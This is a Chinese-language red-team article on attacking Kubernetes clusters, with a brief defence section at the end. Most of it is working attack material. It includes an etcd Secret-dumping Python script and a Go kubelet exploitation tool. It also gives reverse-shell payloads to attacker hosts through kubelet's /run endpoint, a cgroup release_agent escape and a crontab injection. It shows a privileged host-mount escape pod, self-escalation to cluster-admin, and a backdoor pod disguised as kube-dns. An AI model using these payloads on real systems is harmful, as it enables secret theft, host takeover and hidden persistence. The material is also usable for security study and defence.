引言
Kubernetes 已成为云原生时代的操作系统。然而,其复杂的架构和大量的可配置组件为攻击者提供了广阔的攻击面。从配置错误的 RBAC 到未受保护的 etcd,从 Service Account 令牌滥用到 kubelet API 未授权访问——每一条路径都可能导致集群级别的灾难性后果。本文将从红队视角系统梳理 K8s 集群的完整攻击面,辅以实战案例与代码演示。
一、Kubernetes 架构安全模型
1.1 控制平面组件
┌──────────────────────────────────────────────┐
│ Control Plane │
│ ┌─────────┐ ┌──────────┐ ┌─────────────┐ │
│ │API Server│ │Controller│ │ Scheduler │ │
│ │ :6443 │ │ Manager │ │ │ │
│ └────┬─────┘ └──────────┘ └─────────────┘ │
│ │ │
│ ┌────┴─────┐ │
│ │ etcd │ :2379 │
│ └──────────┘ │
└──────────────────────────────────────────────┘
│
├──── Worker Node 1 ──── kubelet :10250
├──── Worker Node 2 ──── kubelet :10250
└──── Worker Node N ──── kubelet :10250
控制平面的每个组件都是一个潜在的攻击入口。API Server 是整个集群的"咽喉",一旦失陷意味着全集群的完全控制权。
1.2 核心攻击面映射
| 组件 | 默认端口 | 攻击向量 | 危害等级 |
|---|---|---|---|
| API Server | 6443/8080 | 未授权访问、RBAC绕过、匿名访问 | 严重 |
| etcd | 2379/2380 | 未授权读写、数据窃取 | 严重 |
| kubelet | 10250/10255 | 命令执行、容器逃逸 | 严重 |
| kube-proxy | 10256/10249 | 配置篡改、流量劫持 | 高 |
| Dashboard | 随机 | 未授权访问、SSRF | 高 |
二、API Server 攻击面
2.1 匿名访问探测
许多运维人员为了调试便利会开启匿名访问,这成为攻击者的首要突破口:
# 探测匿名访问
curl -k https://<api-server>:6443/api/v1/namespaces
# 使用 kubectl 匿名访问
kubectl --server=https://<api-server>:6443 \
--insecure-skip-tls-verify=true \
--token="" \
get pods --all-namespaces
2.2 真实案例:某金融企业集群暴露
在某次红队行动中,通过 Internet 扫描发现一个暴露在公网的 API Server(6443端口)。尝试匿名访问后,发现 system:anonymous 用户被错误地绑定了 cluster-admin 角色:
# 攻击者发现的危险绑定
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: User
name: system:anonymous
攻击者只需一行命令即获得全集群控制:
kubectl config set-cluster target --server=https://vuln-api:6443 --insecure-skip-tls-verify
kubectl config set-credentials anonymous
kubectl config set-context attack --cluster=target --user=anonymous
kubectl config use-context attack
kubectl get secrets --all-namespaces
三、etcd 攻击面
3.1 etcd 未授权访问
etcd 存储集群所有状态数据,包括 Secret。默认 2379 端口如不进行 TLS 双向认证,可直接读写:
# 探测 etcd 2379 端口
curl http://<etcd-ip>:2379/v2/keys/
# 使用 etcdctl 读取所有密钥
ETCDCTL_API=3 etcdctl \
--endpoints=http://<etcd-ip>:2379 \
get "" --prefix --keys-only
# 提取 Kubernetes Secrets
ETCDCTL_API=3 etcdctl \
--endpoints=http://<etcd-ip>:2379 \
get /registry/secrets/<namespace>/<secret-name>
# 解密 Service Account Token
cat token.b64 | base64 -d
3.2 实战案例:云上托管集群数据泄露
某企业在阿里云 ACK 使用自建 etcd 集群,2379 端口未设置安全组规则,被 Shodan 收录。红队获取 etcd 访问后,成功提取了集群内所有 Namespace 的 Secret:
#!/usr/bin/env python3
"""etcd Secret 提取脚本"""
import etcd3
import base64
import json
def extract_secrets(etcd_host, etcd_port=2379):
client = etcd3.client(host=etcd_host, port=etcd_port)
secrets = []
for value, metadata in client.get_prefix('/registry/secrets/'):
if value:
try:
secret_data = json.loads(value.decode('utf-8'))
name = secret_data.get('metadata', {}).get('name', 'unknown')
namespace = secret_data.get('metadata', {}).get('namespace', 'default')
# 提取 data 字段
data = secret_data.get('data', {})
decoded = {k: base64.b64decode(v).decode('utf-8', errors='ignore')
for k, v in data.items()}
secrets.append({
'namespace': namespace,
'name': name,
'data': decoded
})
except Exception as e:
print(f"解析失败: {e}")
return secrets
if __name__ == '__main__':
result = extract_secrets('192.168.x.x')
for s in result:
print(f"[{s['namespace']}] {s['name']}: {s['data']}")
四、kubelet API 攻击
4.1 kubelet 10250 端口深入利用
kubelet 的 10250 端口默认不要求认证(K8s 1.22 之前),即使在新版本中很多集群也关闭了认证:
# 探测 kubelet 是否允许匿名访问
curl -k https://<node-ip>:10250/pods
# 获取节点上所有 Pod
curl -k https://<node-ip>:10250/runningpods/
# 命令执行(在 Pod 容器中执行命令)
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
-d "cmd=id"
# 更完整的利用:反弹 Shell
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
-d "cmd=bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"
4.2 Kubelet 利用工具化
// kubelet-exploit.go — 批量 kubelet 利用
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func exploitKubelet(nodeIP, namespace, pod, container, cmd string) string {
url := fmt.Sprintf("https://%s:10250/run/%s/%s/%s",
nodeIP, namespace, pod, container)
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: tr}
resp, err := client.Post(url, "application/x-www-form-urlencoded",
strings.NewReader("cmd="+cmd))
if err != nil {
return fmt.Sprintf("Error: %v", err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
return string(body)
}
func main() {
nodes := []string{"10.0.1.10", "10.0.1.11", "10.0.1.12"}
for _, node := range nodes {
result := exploitKubelet(node, "kube-system",
"coredns-xxxxx", "coredns", "id")
fmt.Printf("[%s] %s\n", node, result)
}
}
4.3 真实案例:供应链攻击中的 kubelet 利用
某知名 DevOps 平台存在 SSRF 漏洞,攻击者通过该 SSRF 打到了集群内网中的 kubelet 10250 端口:
攻击路径:
外部 Web 应用 SSRF → 内网 kubelet:10250/run/ → Pod 内命令执行
→ Service Account Token 窃取 → API Server 认证通过 → 集群接管
五、Service Account 利用链
5.1 Token 挂载与滥用
默认每个 Pod 都会在 /var/run/secrets/kubernetes.io/serviceaccount/ 挂载 SA Token:
# 在 Pod 内提取 SA Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API_SERVER=https://kubernetes.default.svc
# 探测当前权限
curl -s --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" \
"$API_SERVER/api/v1/namespaces/default/pods"
# 列举所有资源
kubectl auth can-i --list --token=$TOKEN
# 如果权限足够宽,创建特权 Pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: evil-privileged
spec:
hostNetwork: true
hostPID: true
containers:
- name: escape
image: alpine
command: ["/bin/sh"]
args: ["-c", "nsenter --mount=/proc/1/ns/mnt -- chroot /mnt bash"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /mnt
volumes:
- name: host
hostPath:
path: /
EOF
5.2 RBAC 权限提升
# 查询可创建 RoleBinding 的权限
kubectl auth can-i create rolebindings --all-namespaces
# 如果可创建,将自己提权为 cluster-admin
kubectl create clusterrolebinding evil-binding \
--clusterrole=cluster-admin \
--serviceaccount=default:compromised-sa
六、Pod 逃逸技术
6.1 特权容器逃逸
# 如果 Pod 以 privileged 模式运行且挂载了宿主机文件系统
# 使用 nsenter 逃逸到宿主机
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# 使用 cgroups release_agent 逃逸
mkdir -p /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
6.2 /proc 文件系统利用
# 容器中访问 /proc/1/root 可访问宿主机根文件系统(CAP_SYS_ADMIN)
ls -la /proc/1/root/
# 通过 /proc/1/root 写入 cron job 获取宿主机权限
echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.0.0.1/5555 0>&1"' \
>> /proc/1/root/etc/crontab
七、集群横向移动
7.1 NodePort/ClusterIP 滥用
# 扫描集群内网服务
for i in $(seq 1 255); do
curl -s --connect-timeout 1 http://10.0.$i.1:2379 && echo "etcd found at 10.0.$i.1"
done
# 访问内部服务
curl http://kube-state-metrics.kube-system:8080/metrics
curl http://prometheus.monitoring:9090/api/v1/query?query=kube_secret_info
7.2 持久化后门
# 创建不可见的特权后门 Pod(利用 finalizers 防止删除)
apiVersion: v1
kind: Pod
metadata:
name: kube-system-backdoor
namespace: kube-system
labels:
app: kube-dns # 伪装成 DNS 组件
finalizers:
- kubernetes.io/pod # 阻止删除
spec:
hostPID: true
hostNetwork: true
containers:
- name: backdoor
image: nginx:alpine
command: ["/bin/sleep", "infinity"]
securityContext:
privileged: true
八、防御方案
8.1 检测规则
# Falco 规则:检测特权 Pod 创建
- rule: Create Privileged Pod
desc: Detect an attempt to start a pod with a privileged container
condition: >
ka.target.resource=pods and
ka.req.pod.containers.privileged=true and
not ka.req.pod.containers.image.repository in (trusted_images)
output: "Privileged pod created (user=%ka.user.name pod=%ka.resp.name)"
priority: CRITICAL
tags: [mitre_privilege_escalation]
8.2 加固清单
| 加固项 | 具体措施 | 紧急度 |
|---|---|---|
| API Server | 关闭 8080 非安全端口,强制 RBAC,禁用匿名访问 | 紧急 |
| etcd | 启用 TLS 双向认证,使用独立安全组,限制访问 IP | 紧急 |
| kubelet | 开启 Webhook 认证+授权,关闭匿名访问 | 紧急 |
| SA Token | 限制 automountServiceAccountToken,使用最小权限 RBAC |
高 |
| 网络策略 | 实施零信任网络模型,限制 Pod 间通信 | 高 |
| Pod 安全 | 启用 Pod Security Admission(restricted 模式) | 中 |
结语
Kubernetes 攻击面如同一棵根系复杂的大树,任何一条根系的脆弱都可能动摇整棵大树。安全从业者需要建立"纵深防御+攻击面收敛"的双重思维模式:一方面通过 RBAC 最小权限、网络策略隔离、Pod 安全标准进行防御;另一方面持续收敛 API Server、etcd、kubelet 等核心组件的暴露面。只有从攻击者的视角理解集群,才能真正构建起稳固的云原生防线。